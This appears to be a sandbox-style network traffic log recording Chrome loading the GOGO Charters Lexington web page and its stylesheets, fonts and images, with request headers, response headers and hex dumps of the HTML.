2025-05-21 19:47:52 UTC	1460	IN	Data Raw: f7 3b a2 20 02 79 9a b7 4d 49 f3 74 54 7a 00 bf 37 4e c6 c6 62 63 e3 b1 c9 c9 b1 78 da 38 e7 fe 89 f7 3c 35 f2 18 36 f4 38 36 f2 d3 7f f0 77 5f 7b 7c b4 9b 46 30 84 ff d8 bd e0 42 80 56 cf 69 2a 7a 59 14 da 69 8c fa d9 10 d8 d7 fd db 34 eb be 26 f4 ec ef db 0f 74 46 d9 dd fa ff f4 bb ac 4a fc e9 db 46 c7 99 87 06 50 73 ea 38 88 38 48 a6 92 6d 6e 6e 42 39 fc 1e 9b ec c8 e7 a0 ec c8 e7 84 ec 48 5f d9 25 9e 83 b2 4b 3c 27 64 97 f0 95 5d f2 39 28 bb e4 73 42 76 49 5f d9 a5 9e 83 b2 4b 3d 27 64 97 72 92 5d c5 61 02 7e 4d c8 7b 06 7e c8 98 80 83 b4 83 3a 02 0e da 2b e8 55 3f f0 7c 88 e1 af 09 81 70 9e 56 d4 22 ad d6 16 a4 12 ad a8 7a e4 8e 73 f6 1c 97 b1 89 30 60 f0 7e 5a 8d d2 1a b9 03 51 e2 fd 94 96 ab fa 53 f6 ab 7a 27 8e 78 37 85 9c 58 b1 17 6a 2c 91 7e 16 Data Ascii: ; yMItTz7Nbcx8<5686w_{\|F0BVi*zYi4&tFJFPs88HmnnB9H_%K<'d]9(sBvI_K='dr]a~M{~:+U?\|pV"zs0`~ZQSz'x7Xj,~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49701	18.188.153.65	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:47:59 UTC	666	OUT	GET /lexington-charter-bus HTTP/1.1 host: gogocharters.com upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=0, i
2025-05-21 19:47:59 UTC	440	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:58 GMT server: Apache/2.4.46 (Ubuntu) expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache set-cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8; path=/ set-cookie: phoneNo=859-215-0605; expires=Fri, 20-Jun-2025 19:47:58 GMT; Max-Age=2592000; path=/ vary: Accept-Encoding content-type: text/html; charset=UTF-8 content-length: 82849
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 21 2d 2d 3c 56 69 65 77 70 6f 72 74 20 26 20 43 68 61 72 61 63 74 65 72 20 53 65 74 20 44 65 66 69 6e 65 64 3e 2d 2d 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> ...<Viewport & Character Set Defined>--> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 2d 62 75 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 65 65 64 20 74 6f 20 72 65 6e 74 20 61 20 63 68 61 72 74 65 72 20 62 75 73 20 6f 72 20 6d 69 6e 69 62 75 73 20 69 6e 20 4c 65 78 69 6e 67 74 6f 6e 3f 20 43 61 6c 6c 20 47 4f 47 4f 20 43 68 61 72 74 65 72 73 20 4c 65 78 69 6e 67 74 6f 6e 20 61 74 20 38 35 39 2d 32 31 35 2d 30 36 30 35 20 74 6f 20 67 65 74 20 79 6f 75 72 20 66 72 65 65 20 63 68 61 72 74 65 72 20 62 75 73 20 71 75 6f 74 65 20 74 6f 64 61 79 21 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 50 72 65 6c 6f 61 64 20 62 61 6e 6e 65 72 20 69 6d 61 67 65 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 Data Ascii: -bus" /> <meta property="og:description" content="Need to rent a charter bus or minibus in Lexington? Call GOGO Charters Lexington at 859-215-0605 to get your free charter bus quote today!" /> ...Preload banner image --> <link
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 5f 64 65 73 69 67 6e 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 63 73 73 5f 6e 65 77 5f 64 65 73 69 67 6e 2f 73 6c 69 63 6b 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 63 73 73 5f 6e 65 77 5f 64 65 73 69 67 6e 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d Data Ascii: _design/bootstrap.min.css" rel="stylesheet" type="text/css"> <link href="https://gogocharters.com/css_new_design/slick.min.css" rel="stylesheet" type="text/css"> <link href="https://gogocharters.com/css_new_design/style.css" rel="stylesheet" type=
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 6f 61 64 2f 64 6f 63 73 69 67 6e 2f 22 3b 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 64 2b 6a 73 6f 6e 27 3e 20 0d 0a 7b 0d 0a 20 20 22 40 63 6f 6e 74 65 78 74 22 3a 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 63 68 65 6d 61 2e 6f 72 67 22 2c 0d 0a 20 20 22 40 74 79 70 65 22 3a 20 22 4c 6f 63 61 6c 42 75 73 69 6e 65 73 73 22 2c 0d 0a 20 20 22 6e 61 6d 65 22 3a 20 22 47 4f 47 4f 20 43 68 61 72 74 65 72 73 20 4c 65 78 69 6e 67 74 6f 6e 22 2c 0d 0a 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 6c 65 78 69 6e 67 74 6f 6e 2d 63 68 61 72 74 65 72 2d 62 75 73 22 2c 0d 0a 20 20 22 6c 6f 67 6f 22 3a 20 22 68 74 74 70 73 3a 2f Data Ascii: oad/docsign/"; </script> <script type='application/ld+json'> { "@context": "http://www.schema.org", "@type": "LocalBusiness", "name": "GOGO Charters Lexington", "url": "https://gogocharters.com/lexington-charter-bus", "logo": "https:/
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 6e 61 74 65 73 22 2c 0d 0a 20 20 20 20 22 6c 61 74 69 74 75 64 65 22 3a 20 22 33 37 2e 39 37 37 34 31 35 32 22 2c 0d 0a 20 20 20 20 22 6c 6f 6e 67 69 74 75 64 65 22 3a 20 22 2d 38 34 2e 35 35 32 32 39 35 37 22 0d 0a 20 20 7d 2c 0d 0a 20 20 20 22 68 61 73 4d 61 70 22 3a 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 6d 61 70 73 2f 70 6c 61 63 65 2f 47 6f 67 6f 2b 43 68 61 72 74 65 72 73 2b 4c 65 78 69 6e 67 74 6f 6e 2f 40 33 37 2e 39 37 37 34 31 35 32 2c 2d 38 34 2e 35 35 32 32 39 35 37 2c 31 37 7a 2f 64 61 74 61 3d 21 33 6d 31 21 34 62 31 21 34 6d 35 21 33 6d 34 21 31 73 30 78 38 38 34 32 35 64 35 63 31 66 62 63 65 30 33 39 3a 30 78 62 39 32 34 39 35 33 66 33 64 36 37 63 35 31 64 21 38 6d 32 21 33 64 33 37 2e 39 37 37 34 31 31 Data Ascii: nates", "latitude": "37.9774152", "longitude": "-84.5522957" }, "hasMap": "https://www.google.com/maps/place/Gogo+Charters+Lexington/@37.9774152,-84.5522957,17z/data=!3m1!4b1!4m5!3m4!1s0x88425d5c1fbce039:0xb924953f3d67c51d!8m2!3d37.977411
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 73 65 6e 74 20 6f 72 20 6e 6f 74 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 65 6d 70 6c 6f 79 65 65 2f 75 70 6c 6f 61 64 2f 63 69 74 79 2f 31 37 33 30 32 39 38 37 39 37 67 6f 67 6f 2d 6c 65 78 69 6e 67 74 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 20 63 6c 61 73 73 3d 22 69 6d 67 2d 72 65 73 70 6f 6e 73 69 76 65 22 20 61 6c 74 3d 22 47 4f 47 4f 20 43 68 61 72 74 65 72 73 20 6c 6f 67 6f 22 3e 0a 20 Data Ascii: sent or not --> <a class="navbar-brand" href="https://gogocharters.com/"> <img src="https://gogocharters.com/employee/upload/city/1730298797gogo-lexington-logo.svg" class="img-responsive" alt="GOGO Charters logo">
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 20 20 20 3c 2f 6c 61 62 65 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 69 64 3d 22 73 75 62 6d 65 6e 75 31 22 20 6e 61 6d 65 3d 22 74 6f 67 67 6c 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 77 65 64 64 69 6e 67 Data Ascii: </label> </a> <input id="submenu1" name="toggle" type="checkbox"> <div class="dropdown-menu"> <ul> <li><a href="https://gogocharters.com/wedding
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 68 6f 73 70 69 74 61 6c 2d 73 68 75 74 74 6c 65 2d 62 75 73 2d 73 65 72 76 69 63 65 73 22 3e 48 65 61 6c 74 68 63 61 72 65 20 54 72 61 6e 73 70 6f 72 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 6f 66 66 73 69 74 65 2d 70 61 72 6b 69 6e 67 2d 63 6f 6d 6d 75 74 65 72 2d 73 68 75 74 74 6c 65 73 22 3e 4f 66 66 2d 53 69 74 65 20 50 61 72 6b 69 6e 67 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <a href="https://gogocharters.com/hospital-shuttle-bus-services">Healthcare Transport</a></li> <li><a href="https://gogocharters.com/offsite-parking-commuter-shuttles">Off-Site Parking</a></li> <li><a href="
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 2f 61 75 73 74 69 6e 2d 63 68 61 72 74 65 72 2d 62 75 73 22 3e 41 75 73 74 69 6e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 62 6f 73 74 6f 6e 2d 63 68 61 72 74 65 72 2d 62 75 73 22 3e 42 6f 73 74 6f 6e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 63 68 61 72 6c 6f 74 74 65 2d 63 68 61 72 Data Ascii: /austin-charter-bus">Austin</a></li> <li><a href="https://gogocharters.com/boston-charter-bus">Boston</a></li> <li><a href="https://gogocharters.com/charlotte-char
2025-05-21 19:47:59 UTC	1460	IN	Data Raw: 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 6e 65 77 2d 6f 72 6c 65 61 6e 73 2d 63 68 61 72 74 65 72 2d 62 75 73 22 3e 4e 65 77 20 4f 72 6c 65 61 6e 73 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 67 6f 63 68 61 72 74 65 72 73 2e 63 6f 6d 2f 6e 65 77 2d 79 6f 72 6b 2d 63 68 61 72 74 65 72 2d 62 75 73 22 3e 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 Data Ascii: tps://gogocharters.com/new-orleans-charter-bus">New Orleans</a></li> <li><a href="https://gogocharters.com/new-york-charter-bus">New York City</a></li> <li><a href
2025-05-21 19:47:59 UTC	682	OUT	GET /img_new_design/busarrow.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:47:59 UTC	273	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 18 Aug 2020 02:15:18 GMT etag: "e37a-5ad1d75595980" accept-ranges: bytes content-length: 58234 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:47:59 UTC	664	OUT	GET /fonts_new_design/icomoon/icomoon.woff2 HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1
2025-05-21 19:47:59 UTC	272	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 30 Mar 2021 05:21:56 GMT etag: "fcc-5beba2d414500" accept-ranges: bytes content-length: 4044 cache-control: max-age=31536000, public content-type: font/woff2
2025-05-21 19:47:59 UTC	669	OUT	GET /fonts_new_design/Poppins/Poppins-Bold.woff2 HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1
2025-05-21 19:47:59 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 05 Feb 2021 08:23:39 GMT etag: "bec4-5ba928988f8c0" accept-ranges: bytes content-length: 48836 cache-control: max-age=31536000, public content-type: font/woff2
2025-05-21 19:47:59 UTC	639	OUT	GET /css_new_design/slick.min.css HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: text/css,/;q=0.1 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: style referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=0
2025-05-21 19:47:59 UTC	294	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 29 Jul 2019 09:44:05 GMT etag: "13ec-58ecebb940340" accept-ranges: bytes content-length: 5100 vary: Accept-Encoding cache-control: max-age=31536000, public content-type: text/css
2025-05-21 19:47:59 UTC	639	OUT	GET /css_new_design/qc.slider.css HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: text/css,/;q=0.1 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: style referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2
2025-05-21 19:47:59 UTC	294	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 15 Oct 2024 06:25:34 GMT etag: "11ed-6247e0551f380" accept-ranges: bytes content-length: 4589 vary: Accept-Encoding cache-control: max-age=31536000, public content-type: text/css
2025-05-21 19:47:59 UTC	714	OUT	GET /employee/upload/city/1730298797gogo-lexington-logo.svg HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=2, i
2025-05-21 19:47:59 UTC	277	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 30 Oct 2024 14:33:17 GMT etag: "34c4-625b295318298" accept-ranges: bytes content-length: 13508 cache-control: max-age=31536000, public content-type: image/svg+xml
2025-05-21 19:47:59 UTC	672	OUT	GET /fonts_new_design/Poppins/Poppins-Regular.woff2 HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1
2025-05-21 19:47:59 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 05 Feb 2021 08:24:44 GMT etag: "bf7c-5ba928d68cb00" accept-ranges: bytes content-length: 49020 cache-control: max-age=31536000, public content-type: font/woff2
2025-05-21 19:47:59 UTC	635	OUT	GET /css_new_design/media.css HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: text/css,/;q=0.1 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: style referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=0
2025-05-21 19:47:59 UTC	295	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Wed, 19 Mar 2025 10:13:11 GMT etag: "ae9f-630af44cc5380" accept-ranges: bytes content-length: 44703 vary: Accept-Encoding cache-control: max-age=31536000, public content-type: text/css
2025-05-21 19:47:59 UTC	673	OUT	GET /fonts_new_design/Poppins/Poppins-SemiBold.woff2 HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1
2025-05-21 19:47:59 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 05 Feb 2021 08:24:59 GMT etag: "bdb4-5ba928e4dacc0" accept-ranges: bytes content-length: 48564 cache-control: max-age=31536000, public content-type: font/woff2
2025-05-21 19:47:59 UTC	671	OUT	GET /fonts_new_design/Poppins/Poppins-Medium.woff2 HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1
2025-05-21 19:47:59 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 05 Feb 2021 08:24:31 GMT etag: "beb8-5ba928ca26dc0" accept-ranges: bytes content-length: 48824 cache-control: max-age=31536000, public content-type: font/woff2
2025-05-21 19:47:59 UTC	670	OUT	GET /fonts_new_design/Poppins/Poppins-Light.woff2 HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1
2025-05-21 19:47:59 UTC	274	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:47:59 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Fri, 05 Feb 2021 08:24:07 GMT etag: "bebc-5ba928b3437c0" accept-ranges: bytes content-length: 48828 cache-control: max-age=31536000, public content-type: font/woff2
